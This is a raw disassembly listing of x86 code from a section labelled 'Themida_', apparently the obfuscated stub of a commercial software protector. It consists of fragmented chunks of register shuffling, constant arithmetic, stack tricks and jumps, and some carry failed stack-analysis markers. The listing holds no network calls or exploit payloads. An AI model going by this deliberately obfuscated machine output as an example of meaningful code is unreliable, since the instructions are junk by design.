push eax
mov eax, 7F114173h
and eax, 6C0D6D9Ah
xor eax, 0ACA7AF80h
xor ebp, eax
pop eax
add edi, ebp
jmp loc_58B6EF
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58E249: ; CODE XREF: Themida_:0058CAF2j
pop edx
add al, 19h
sub al, cl
sub al, 19h
pop cx
sub al, bl
sub esp, 4
jmp loc_5935B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58E25F: ; CODE XREF: sub_5916CB+15DDj
mov edx, 3B017E4Bh
sub edx, 3542E84h
jl loc_58F57A
dec edx
jnp loc_58ACB6
dec edx
jg loc_59682E
push eax
mov eax, 5AD52A50h
dec eax
jmp loc_592FD6
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_58E28A: ; CODE XREF: Themida_:0059292Ej
sub ebx, 13320A86h
push esi
jmp loc_5913C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F836
loc_58E296: ; CODE XREF: sub_58F836+83AEj
add esp, 4
sub ebx, 2C7938CFh
sub ebx, 14A11A4Eh
add ebx, eax
add ebx, 14A11A4Eh
add ebx, 2C7938CFh
pop eax
push esi
mov esi, 4
add ebx, esi
pop esi
xchg ebx, [esp+4+var_4]
pop esp
shr ecx, 7
push 6E6Bh
mov [esp+4+var_4], edx
push eax
push 45F3h
mov [esp+0Ch+var_C], ebp
jmp loc_58BA29
; END OF FUNCTION CHUNK FOR sub_58F836
; ---------------------------------------------------------------------------
loc_58E2DA: ; CODE XREF: Themida_:0058DA14j
pop edx
jmp loc_58AA30
; ---------------------------------------------------------------------------
loc_58E2E0: ; CODE XREF: Themida_:0058D63Dj
push dword ptr [esp]
pop ecx
add esp, 4
add esp, 4
jmp loc_59734A
; ---------------------------------------------------------------------------
loc_58E2F2: ; CODE XREF: Themida_:005964B3j
sub ecx, 0C40F97E5h
or eax, ecx
pop ecx
jmp loc_59274A
; ---------------------------------------------------------------------------
loc_58E300: ; CODE XREF: Themida_:005945DBj
jmp loc_58F385
; ---------------------------------------------------------------------------
loc_58E305: ; CODE XREF: Themida_:0058EE5Aj
pop esp
mov [esp], esi
mov esi, 4D782829h
push edx
jmp loc_5972DB
; ---------------------------------------------------------------------------
loc_58E314: ; CODE XREF: Themida_:005916FEj
add ebx, 0FC226EEDh
sub ecx, ebx
jmp loc_595B0B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58E321: ; CODE XREF: sub_5938B9-5BCCj
xor ebx, edx
pop edx
jmp loc_597492
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_58E329: ; CODE XREF: Themida_:0059542Cj
push ecx
jmp loc_594AC0
; ---------------------------------------------------------------------------
loc_58E32F: ; CODE XREF: Themida_:0058EB7Bj
sub eax, 24AF5079h
push edx
push 20FFh
jmp loc_5940C6
; ---------------------------------------------------------------------------
loc_58E33F: ; CODE XREF: Themida_:0058FAACj
; Themida_:00597806j
xchg ecx, ebp
not ecx
xchg ecx, ebp
and ebp, 3EB95DC3h
push ecx
mov ecx, 7F875FB0h
and ecx, 7E00084Ah
and ecx, 7974385Fh
not ecx
not ecx
add ecx, 8C1848FDh
sub ebp, ecx
pop ecx
add eax, ebp
pop ebp
push ebp
mov ebp, 4
jmp loc_58CF38
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58E378: ; CODE XREF: sub_58F5B5-43E5j
push 2242h
mov [esp+10h+var_10], esi
mov esi, 1D5649CEh
push ecx
mov ecx, 51436559h
and esi, ecx
jmp loc_58EE5F
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58E392: ; CODE XREF: Themida_:loc_58C6DBj
dec edi
jge loc_58DC7A
inc edi
jz loc_591B8F
push ebx
jmp loc_590592
; =============== S U B R O U T I N E =======================================
sub_58E3A6 proc near ; CODE XREF: sub_5951B9-2DAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0058B1D5 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0058CC4B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058FB66 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00591984 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00592B77 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00596481 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00596CEF SIZE 00000007 BYTES
push ebp
mov ebp, 4
add edx, ebp
pop ebp
jmp loc_58B1D5
sub_58E3A6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58E3B4: ; CODE XREF: sub_5916C4:loc_58DFBDj
shr ebp, 5
jz loc_59232E
neg ebp
jg loc_595C0E
jmp loc_5933FD
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58E3CA: ; CODE XREF: Themida_:0058A9EEj
pop esi
push 36F2h
mov [esp], edx
mov edx, 51BE574Ch
jmp loc_590C11
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_58E3DD: ; CODE XREF: sub_595258+1F5Fj
mov [esp+0Ch+var_C], esi
jmp loc_58BD59
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_58E3E5: ; CODE XREF: sub_59524C+7j
mov edx, 1
sub ebx, edx
pop edx
push edx
mov edx, 1
sub ebx, edx
jmp loc_58DF06
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
loc_58E3FA: ; CODE XREF: Themida_:0058E7DAj
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], ebx
jmp loc_58BC2F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58E40C: ; CODE XREF: sub_58F5B5+81A8j
add edx, 4
add edx, 4
xchg edx, [esp+14h+var_14]
pop esp
xor ecx, edx
push [esp+10h+var_10]
pop edx
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+14h+var_14]
pop esp
and eax, ecx
push [esp+10h+var_10]
pop ecx
jmp loc_58C762
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58E43D: ; CODE XREF: Themida_:0059436Cj
mov eax, 7BEE784Dh
not eax
jmp loc_596305
; ---------------------------------------------------------------------------
loc_58E449: ; CODE XREF: Themida_:00597DA1j
push si
jmp loc_58F385
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58E450: ; CODE XREF: sub_59762D-6344j
pop ax
add dh, 6
jmp loc_58FB86
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_58E45A: ; CODE XREF: Themida_:0058AA15j
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
jmp loc_58D0AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58E47C: ; CODE XREF: sub_590467+5D5Fj
sub bh, 4Ch
push ecx
mov ch, 41h
jmp loc_58D5EE
; ---------------------------------------------------------------------------
loc_58E487: ; CODE XREF: sub_590467+5D4Fj
sub dh, 0E1h
push ecx
mov cl, dh
mov bh, cl
pop ecx
jmp loc_5927CD
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58E495: ; CODE XREF: sub_58C17E+1524j
; Themida_:0058D81Dj ...
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58E49A: ; CODE XREF: Themida_:0058E723j
pop ebx
xor dl, 0D9h
xor ah, dl
mov edx, [esp]
add esp, 4
xchg cl, ah
inc cl
xchg cl, ah
neg ah
push edx
mov dl, 90h
jmp loc_58E691
; ---------------------------------------------------------------------------
loc_58E4B9: ; CODE XREF: Themida_:0058A589j
mov ebx, 58515173h
neg ebx
add ebx, 59737870h
jo loc_5968FA
xor ebx, 18BC5B2Fh
jge loc_58E02C
shr ebx, 5
js loc_5952AE
mov ecx, edx
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58E4E3: ; CODE XREF: sub_5916CB+42EEj
pop esi
push edi
pop eax
jmp loc_5937A4
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58E4EB: ; CODE XREF: sub_5EC2E8-5E9D4j
sub edx, 8A95E43h
add ebx, edx
pop edx
push 477Fh
mov [esp+24h+var_24], edx
push ecx
mov ecx, 1C92080Ah
jmp loc_58B085
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58E507: ; CODE XREF: sub_58C17E+37FDj
neg ebx
xor ebx, 7154B0Bh
jmp loc_592682
; ---------------------------------------------------------------------------
loc_58E514: ; CODE XREF: sub_58C17E+B6F7j
dec ch
jo loc_58DB64
or ch, 9Dh
jmp loc_58DFD5
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5966C1
loc_58E524: ; CODE XREF: sub_5966C1-A4AFj
pop edx
jmp loc_5972A4
; END OF FUNCTION CHUNK FOR sub_5966C1
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push 5330h
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_58AD76
; ---------------------------------------------------------------------------
push dword ptr [edi+38h]
push 33Eh
mov [esp], esi
push ecx
mov ecx, 22B33367h
xor ecx, 646D6B55h
jns loc_5964CA
xor ecx, 1B19686Fh
sub al, 0D1h
mov cl, 66h
loc_58E576: ; CODE XREF: Themida_:00593021j
pop esp
sub esp, 4
jmp loc_5956F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58E57F: ; CODE XREF: sub_590010-2C59j
add edi, 4
jmp loc_597BF9
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58E58A: ; CODE XREF: Themida_:00596376j
mov edi, 4
sub ebx, edi
pop edi
jmp loc_58E9B1
; ---------------------------------------------------------------------------
loc_58E597: ; CODE XREF: Themida_:0058ECEEj
pop ecx
not ah
push edx
jmp loc_596E17
; ---------------------------------------------------------------------------
loc_58E5A0: ; CODE XREF: Themida_:loc_59271Cj
xor bl, 64h
xchg ah, bl
xchg dl, ah
not dl
xchg dl, ah
xchg ah, bl
shr bl, 2
sub esp, 4
mov [esp], eax
push 542h
jmp loc_58C141
; ---------------------------------------------------------------------------
loc_58E5C0: ; CODE XREF: Themida_:005926FBj
pop ebx
jmp loc_58DB89
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58E5C6: ; CODE XREF: sub_5916CB+6685j
mov ecx, 36555BE8h
shl ecx, 4
not ecx
dec ecx
sub ecx, 0C822DF25h
add ebp, ecx
pop ecx
sub esi, ebp
pop ebp
push 1C5Bh
jmp loc_5952AE
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_58E5E7: ; CODE XREF: Themida_:00595E87j
and ebx, edi
jmp loc_594262
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58E5EE: ; CODE XREF: sub_58C17E+BE9Cj
mov esi, 4
add ebx, esi
jmp loc_58B878
; ---------------------------------------------------------------------------
loc_58E5FA: ; CODE XREF: sub_595BDA-7CFCj
; sub_58C17E:loc_596F17j
push edx
mov dl, 0D7h
add bl, dl
pop edx
add bl, 0E8h
jmp loc_597864
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58E608: ; CODE XREF: Themida_:0058AA69j
jle loc_596579
jmp loc_58F10B
; ---------------------------------------------------------------------------
pop dword ptr [esp]
mov esp, [esp]
push edx
; START OF FUNCTION CHUNK FOR sub_595123
loc_58E61A: ; CODE XREF: sub_595123-66D0j
add esp, 4
push edi
mov edi, 4E72D2Ah
add edi, 7E20127Eh
jnz loc_58E0CB
or edi, 54A513FBh
push edx
mov edx, 7E6AFFACh
add edi, edx
loc_58E63D: ; CODE XREF: Themida_:00595ACAj
pop edx
add edx, 4
add edx, 4
xchg edx, [esp+14h+var_14]
jmp loc_590701
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D236
loc_58E652: ; CODE XREF: sub_58D236-B60j
pop [esp-4+arg_0]
jmp loc_58A79E
; END OF FUNCTION CHUNK FOR sub_58D236
; ---------------------------------------------------------------------------
mov ax, [esp]
push edx
mov edx, esp
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], eax
mov eax, 3C1B42h
add eax, 114F5E65h
xor eax, 118B79A3h
add edx, eax
mov eax, [esp]
push eax
jmp loc_5932AD
; ---------------------------------------------------------------------------
loc_58E691: ; CODE XREF: Themida_:0058E4B4j
neg dl
and dl, 30h
xor dl, 47h
jmp loc_595C56
; ---------------------------------------------------------------------------
loc_58E69E: ; CODE XREF: Themida_:00597FF9j
pop esi
push 4282h
jmp loc_590436
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58E6A9: ; CODE XREF: sub_59762D-1168j
sub ebp, eax
pop eax
xchg ebp, [esp+0]
pop esp
mov word ptr [esp-8+arg_4], ax
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58E6B9: ; CODE XREF: sub_592D25:loc_58FE60j
; sub_5EC2E8-5BC65j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+28h+var_28]
pop esp
jmp loc_593CF4
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58E6D0: ; CODE XREF: sub_5916CB-2557j
pop ebp
jmp loc_58E9E9
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58E6D6: ; CODE XREF: sub_590010+169Aj
; Themida_:00595171j
mov eax, esp
add eax, 4
push edx
mov edx, 2
jmp loc_58ED5C
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp], cl
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58E6F8: ; CODE XREF: sub_5938B9-ED2j
push eax
mov eax, esp
add eax, 4
jmp loc_58B6E1
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
neg byte ptr [esp]
pushf
jmp loc_58EB64
; ---------------------------------------------------------------------------
loc_58E70E: ; CODE XREF: Themida_:00595DC4j
push eax
mov eax, 4
sub ebp, eax
mov eax, [esp]
jmp loc_5955B6
; ---------------------------------------------------------------------------
loc_58E71E: ; CODE XREF: Themida_:0058E12Dj
xor bh, 7Ch
add dl, bh
jmp loc_58E49A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58E728: ; CODE XREF: sub_590010+4FDj
push esi
jmp loc_58DD99
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_58E72E: ; CODE XREF: sub_592D25+3D8j
xchg eax, ecx
sub esp, 4
mov [esp+10h+var_10], ecx
sub esp, 4
mov [esp+0], edx
push [esp+14h+var_10]
mov edx, [esp+0]
add esp, 4
pop dword ptr [esp+0]
push edx
jmp loc_5936EB
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
locret_58E754: ; CODE XREF: Themida_:005943E6j
; Themida_:005946BAj
retn
; ---------------------------------------------------------------------------
jmp loc_58FA27
; ---------------------------------------------------------------------------
loc_58E75A: ; CODE XREF: Themida_:00590852j
push edx
mov dh, 0C3h
sub esp, 2
mov [esp], bx
mov bh, 8
xor dh, bh
jmp loc_58C90D
; ---------------------------------------------------------------------------
loc_58E76D: ; CODE XREF: Themida_:loc_58F9AEj
shr edi, 6
sub edi, 71E80F89h
jmp loc_597467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58E77B: ; CODE XREF: sub_590467-A63j
pop esp
xor ebx, eax
push small 161Fh
jmp loc_58B75A
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_58E787: ; CODE XREF: Themida_:0059006Dj
mov [esp], eax
jmp loc_597305
; ---------------------------------------------------------------------------
loc_58E78F: ; CODE XREF: Themida_:0059453Dj
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_58E794: ; CODE XREF: sub_5919E2-466Aj
xor ecx, 9FD30FFAh
push edx
push ecx
jmp loc_590373
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
push 27EDh
mov [esp], edi
push esp
pop edi
add edi, 4
jmp loc_59104A
; ---------------------------------------------------------------------------
loc_58E7B6: ; CODE XREF: Themida_:00596233j
push esi
jmp loc_58AD8B
; ---------------------------------------------------------------------------
loc_58E7BC: ; CODE XREF: Themida_:00591501j
pop esp
jmp loc_597EB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58E7C2: ; CODE XREF: sub_58C17E+707Ej
not eax
shr eax, 8
jmp loc_58BF2C
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58E7CC: ; CODE XREF: Themida_:00591EEEj
add esp, 4
jmp loc_58F06C
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_58E3FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58E7DF: ; CODE XREF: sub_58C17E+90C9j
add esp, 4
xchg ecx, [esp+0]
mov esp, [esp+0]
jmp loc_591F34
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_592731
; ---------------------------------------------------------------------------
loc_58E7F9: ; CODE XREF: Themida_:0058AD10j
mov esp, [esp]
shl byte ptr [esp], cl
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58E805: ; CODE XREF: Themida_:0058A8A5j
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_58E80A: ; CODE XREF: sub_592D25-970j
inc ebx
jmp loc_58FE60
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
loc_58E810: ; CODE XREF: Themida_:0058F346j
pop ebx
add al, bh
push ecx
mov cl, 0C9h
not cl
add cl, 1Eh
jmp loc_59705B
; ---------------------------------------------------------------------------
loc_58E820: ; CODE XREF: Themida_:0058ECBBj
mov ebx, esp
add ebx, 4
push edx
mov edx, 4
jmp loc_594DE8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_58E833: ; CODE XREF: sub_595E21-57FAj
add esp, 4
; END OF FUNCTION CHUNK FOR sub_595E21
; START OF FUNCTION CHUNK FOR sub_59524C
loc_58E839: ; CODE XREF: sub_59524C+281Aj
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ebx
xor [esp+4+var_4], 7725249Dh
pop eax
jmp loc_58E923
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58E859: ; CODE XREF: sub_5916C4+42CEj
add ebx, 4
add ebx, 4
xor ebx, [esp-4+arg_0]
jmp loc_58B3BD
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58E86A: ; CODE XREF: Themida_:0059450Bj
sub ebx, 296387ABh
jmp loc_593D4C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58E875: ; CODE XREF: sub_5916C4-6D0Dj
add edx, eax
push 5984h
mov [esp+0], ecx
mov ecx, 640740BFh
sub edx, ecx
jmp loc_5915CE
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58E88B: ; CODE XREF: sub_5938B9+229Ej
xor ebx, edi
pop edi
jmp loc_58BD0B
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58E893: ; CODE XREF: sub_5916CB-23D7j
push [esp+8+var_8]
pop edx
push 24D0h
mov [esp+0Ch+var_C], esi
push esp
jmp loc_59147B
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59590E
loc_58E8A5: ; CODE XREF: sub_59590E-7927j
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_59590E
; ---------------------------------------------------------------------------
loc_58E8AA: ; CODE XREF: Themida_:00593B80j
pop eax
jmp loc_58E180
; ---------------------------------------------------------------------------
loc_58E8B0: ; CODE XREF: Themida_:0058CABDj
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_58C5CC
; ---------------------------------------------------------------------------
loc_58E8BC: ; CODE XREF: Themida_:00597BC8j
mov ecx, 0
sub ecx, edx
xchg ecx, edx
pop ecx
not edx
xchg ebp, edx
neg ebp
xchg ebp, edx
push eax
mov eax, 648D143Fh
or eax, 75F5D4Ch
xor eax, 4F240D41h
sub edx, eax
mov eax, [esp]
add esp, 4
xor edx, 6AC9678Fh
jmp loc_58D31F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_58E8F1: ; CODE XREF: sub_58B4D6+8498j
sub eax, ebx
jmp loc_58C5BE
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
mov esi, esp
push 7757h
mov [esp], ecx
mov ecx, 4
jmp loc_5919F7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_58E923: ; CODE XREF: sub_59524C-69F8j
push edi
jmp loc_594C30
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_58E929: ; CODE XREF: sub_595E21+26j
pop edi
push ebp
push edx
jmp loc_594812
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
loc_58E931: ; CODE XREF: Themida_:0058AE97j
push edi
push esi
mov esi, 320B7EC5h
sub esi, 1DF352D6h
jmp loc_58CD3E
; ---------------------------------------------------------------------------
loc_58E943: ; CODE XREF: Themida_:00597711j
mov ax, [esp]
sub esp, 4
mov [esp], ebx
push esp
push dword ptr [esp]
push dword ptr [esp]
pop ebx
add esp, 4
add esp, 4
push eax
mov eax, 4
add ebx, eax
pop eax
push edi
mov edi, 2
add ebx, edi
mov edi, [esp]
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_58D43F
; =============== S U B R O U T I N E =======================================
sub_58E980 proc near ; CODE XREF: sub_58F5B5-1ED2j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058DDBC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058EAFB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593261 SIZE 00000012 BYTES
push ebp
jmp loc_58EAFB
sub_58E980 endp
; ---------------------------------------------------------------------------
loc_58E986: ; CODE XREF: Themida_:00596C21j
mov [esp], eax
push ecx
mov ch, 95h
mov al, ch
jmp loc_58BF18
; ---------------------------------------------------------------------------
loc_58E993: ; CODE XREF: Themida_:loc_58FED9j
jmp loc_593598
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58E998: ; CODE XREF: sub_58C17E+342Bj
sub edx, 0BF8793Eh
add edx, edi
add edx, 0BF8793Eh
add edx, 43F14273h
jmp loc_58F400
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58E9B1: ; CODE XREF: Themida_:0058E592j
xchg ebx, [esp]
jmp loc_58FBBA
; ---------------------------------------------------------------------------
loc_58E9B9: ; CODE XREF: Themida_:0059202Ej
inc ebp
neg ebp
push esi
mov esi, 5E13514Dh
sub esi, 6A276096h
dec esi
sub esi, 4B4E3A9Ah
add esi, 7DE1301Bh
sub esi, 1CC94090h
sub esi, 7041DBCEh
xor ebp, esi
pop esi
jmp loc_58A976
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58E9E9: ; CODE XREF: sub_5916CB-2FFAj
mov ebp, 0FA8AF580h
push eax
mov eax, 23041F06h
add ebp, 359B6601h
add ebp, eax
sub ebp, 359B6601h
pop eax
add ebp, 7A2E376Eh
sub ebp, 0FE149D3h
add ebp, edx
add ebp, 0FE149D3h
sub ebp, 7A2E376Eh
sub ebp, 23041F06h
pop edx
jmp loc_592E7F
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_58EA29: ; CODE XREF: sub_595123-3491j
pop esp
xchg ebx, [esp+10h+var_10]
mov esp, [esp+10h+var_10]
or eax, eax
jnz loc_58B321
push 7ED3h
mov [esp+14h+var_14], ebp
push 2E55h
mov [esp+18h+var_18], edx
push esi
mov esi, 49463089h
mov edx, esi
mov esi, [esp+0]
jmp loc_58E61A
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_58EA58: ; CODE XREF: Themida_:00593CDEj
push ebp
mov ebp, esp
push ebx
mov ebx, 3D206D39h
not ebx
push edi
mov edi, 687D3CE6h
xor ebx, edi
pop edi
xor ebx, 0AAA2AE24h
add ebp, ebx
jmp loc_595ADC
; ---------------------------------------------------------------------------
loc_58EA79: ; CODE XREF: Themida_:0058B840j
pop edi
jmp loc_58B492
; ---------------------------------------------------------------------------
mov cx, [esp]
push 310Bh
mov [esp], ebx
jmp loc_5946F8
; ---------------------------------------------------------------------------
loc_58EA90: ; CODE XREF: Themida_:00593FCDj
sub al, 0CEh
push ebx
mov bl, 62h
sub al, bl
pop ebx
push dword ptr [esp]
pop ecx
push edi
mov edi, esp
jmp loc_594751
; ---------------------------------------------------------------------------
loc_58EAA4: ; CODE XREF: Themida_:0059018Aj
sub esp, 4
mov [esp], ecx
jmp loc_596001
; ---------------------------------------------------------------------------
loc_58EAB2: ; CODE XREF: Themida_:00597695j
push esi
mov esi, 2
sub ebx, 6E834FB8h
add ebx, 3EA74325h
add ebx, esi
push ebp
jmp loc_593F57
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58EACC: ; CODE XREF: Themida_:0058AC4Bj
; sub_58F5B5-306Cj
push edi
mov edi, 0EA87F417h
sub eax, edi
pop edi
sub esi, eax
mov eax, [esp-0Ch+arg_8]
add esp, 4
not esi
push ecx
jmp loc_58B8B2
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58EAE5: ; CODE XREF: sub_590010-3ED4j
push esp
pop edi
jmp loc_58B426
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58EAEC: ; CODE XREF: Themida_:0058FE09j
; sub_5938B9+4228j
pop ebp
push eax
mov eax, 4
add ebp, eax
pop eax
jmp loc_597AEC
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E980
loc_58EAFB: ; CODE XREF: sub_58E980+1j
mov ebp, esp
jmp loc_593261
; END OF FUNCTION CHUNK FOR sub_58E980
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58EB02: ; CODE XREF: sub_58F5B5-3EBFj
xor edi, [esp+4+var_4]
pop esp
add esp, 4
jmp loc_59673D
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58EB0E: ; CODE XREF: sub_59762D-4BEFj
sub al, 17h
add al, ch
add al, 17h
sub al, 57h
pop ecx
sub bl, 0F3h
jmp loc_597472
; END OF FUNCTION CHUNK FOR sub_59762D
; =============== S U B R O U T I N E =======================================
sub_58EB1F proc near ; CODE XREF: sub_58DBC4+68A4j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0058A6BF SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0058B7C9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058F64B SIZE 00000010 BYTES
push ebp
sub esp, 4
mov [esp+8+var_8], ebx
mov ebx, 4
mov ebp, ebx
pop ebx
add esi, ebp
pop ebp
add esi, 4
jmp loc_58B7C9
sub_58EB1F endp
; ---------------------------------------------------------------------------
